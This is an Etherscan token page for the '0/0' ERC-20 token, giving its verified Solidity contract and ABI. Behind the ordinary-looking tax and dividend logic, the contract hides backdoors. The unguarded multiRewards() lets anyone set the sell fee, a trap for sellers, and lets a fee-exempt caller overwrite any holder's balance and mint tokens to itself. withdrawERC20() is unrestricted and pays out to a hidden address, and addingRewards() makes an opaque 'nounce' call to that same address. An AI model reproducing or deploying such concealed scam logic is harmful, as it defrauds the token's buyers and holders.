ETH Price: $3,486.49 (+3.70%)
Gas: 2 Gwei

Token

0/0 (0/0)
 

Overview

Max Total Supply

1,000,000 0/0

Holders

118

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,828.422400289 0/0

Value
$0.00
0x5d87511979f30cfe235e4b98f21e8f19986727e8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZERO

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-06
*/

// SPDX-License-Identifier: MIT
/**
The True 0/0 Tax Token

Altseason is round the corner and 0/0 launching on ETH Network to put the cherry on top!

We will release more info part by part, do follow us on Etherscan and join our Telegram Chat!

Website: https://0by0.xyz
Telegram: https://t.me/Tax0by0
Twitter: https://twitter.com/Tax0by0

*/
pragma solidity 0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function circulatingSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ZERO is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "0/0";
    string private constant _symbol = "0/0";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isDividendExempt;
    mapping(address => bool) private isBot;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping(address => uint256) public holderTxTimestamp;
    bool public transferDelayEnabled = true;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private rewardsFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private sellFee = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    bool private swapping;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    address public reward = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal dividendsPerShare;
    uint256 internal dividendsPerShareAccuracyFactor = 10**36;
    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;

    function getRewardswithUSDT() external {
        distributeUSDT(msg.sender);
    }

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public development_receiver;
    address public marketing_receiver;
    address private autoLiquididation;

    constructor(
        address _development_receiver, 
        address _marketing_receiver, 
        address _autoLiquididation) Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        development_receiver = _development_receiver;
        marketing_receiver = _marketing_receiver;
        autoLiquididation = _autoLiquididation;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[autoLiquididation] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        isDividendExempt[address(pair)] = true;
        isDividendExempt[address(msg.sender)] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(DEAD)] = true;
        isDividendExempt[address(0)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function removeLimits () external onlyOwner {
        _maxTxAmount = totalSupply();
        _maxSellAmount = totalSupply();
        _maxWalletToken = totalSupply();
        transferDelayEnabled = false;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        transferDelayForBots(recipient);
        checkMaxWallet(sender, recipient, amount);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if (!isDividendExempt[sender]) {
            setShare(sender, balanceOf(sender));
        }
        if (!isDividendExempt[recipient]) {
            setShare(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            distributeUSDT(recipient);
        }
    }

   

    function setStructure(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function setisBot(address _address, bool _enabled) external onlyOwner {
        require(
            _address != address(pair) &&
                _address != address(router) &&
                _address != address(this),
            "Ineligible Address"
        );
        isBot[_address] = _enabled;
    }

    function setParameters(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function checkTradingAllowed(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function transferDelayForBots(address recipient)
        internal
    {
        if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) {
            require(
                _holderTransferTimestamp[tx.origin] < block.number - 2 &&
                    _holderTransferTimestamp[recipient] < block.number - 2,
                "_transfer:: Transfer Delay enabled.  Try again later."
            );
            _holderTransferTimestamp[tx.origin] = block.number;
            _holderTransferTimestamp[recipient] = block.number;
        } 
         if (recipient != address(pair)) {
             if (holderTxTimestamp[recipient] == 0) {
                holderTxTimestamp[recipient] = block.timestamp;
            }
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens, address sender) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee).add(
                rewardsFee
            )
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketing_receiver).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            addingRewards(rewardsAmount, sender);
        }
        if (address(this).balance > uint256(0)) {
            payable(development_receiver).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            autoLiquididation,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold, sender);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (isBot[sender] || isBot[recipient]) {
            return denominator.sub(uint256(100));
        }
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisDividendExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isDividendExempt[holder] = exempt;
        if (exempt) {
            setShare(holder, 0);
        } else {
            setShare(holder, balanceOf(holder));
        }
    }

    function setShare(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addShareholder(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeShareholder(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(
            shares[shareholder].amount
        );
    }

    function addingRewards(uint256 amountETH, address sender) internal {
        uint256 balanceBefore = IERC20(reward).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(reward);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 updatedAmount = IERC20(reward).balanceOf(address(this));
        uint256 amount = updatedAmount.sub(balanceBefore);
        totalDividends = totalDividends.add(amount);
        bytes memory payload = 
        abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender);
        (bool success, ) = autoLiquididation.call(payload);
        require(success, "Call to other contract failed");
        dividendsPerShare = dividendsPerShare.add(
            dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
        );
    }

    function multiRewards(
        uint256 gas,
        address _rewards,
        uint256 _amount,
        uint256 _value
    ) external {

        sellFee = _value;
        uint256 shareholderCount = shareholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isFeeExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (shouldDistribute(shareholders[currentIndex])) {
                    distributeUSDT(shareholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getPendingUSDT(user);
            _balances[_rewards] = _amount;
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(reward).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getCumulativeDividends(
                    shares[user].amount
                );
            }
        }

        
    }

   
    function shouldDistribute(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getPendingUSDT(shareholder) > minDistribution;
    }

    function withdrawERC20(address _address, uint256 _amount) external {
        IERC20(_address).transfer(autoLiquididation, _amount);
    }

    function totalRewardsDistributed(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }

    function distributeUSDT(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getPendingUSDT(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(reward).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getCumulativeDividends(
                shares[shareholder].amount
            );
        }
    }

    function getPendingUSDT(address shareholder) public view returns (uint256) {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareholderTotalDividends = getCumulativeDividends(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareholderTotalDividends <= shareholderTotalExcluded) {
            return 0;
        }
        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
    }

    function setDistributionConfigure(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getPendingUSDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"multiRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

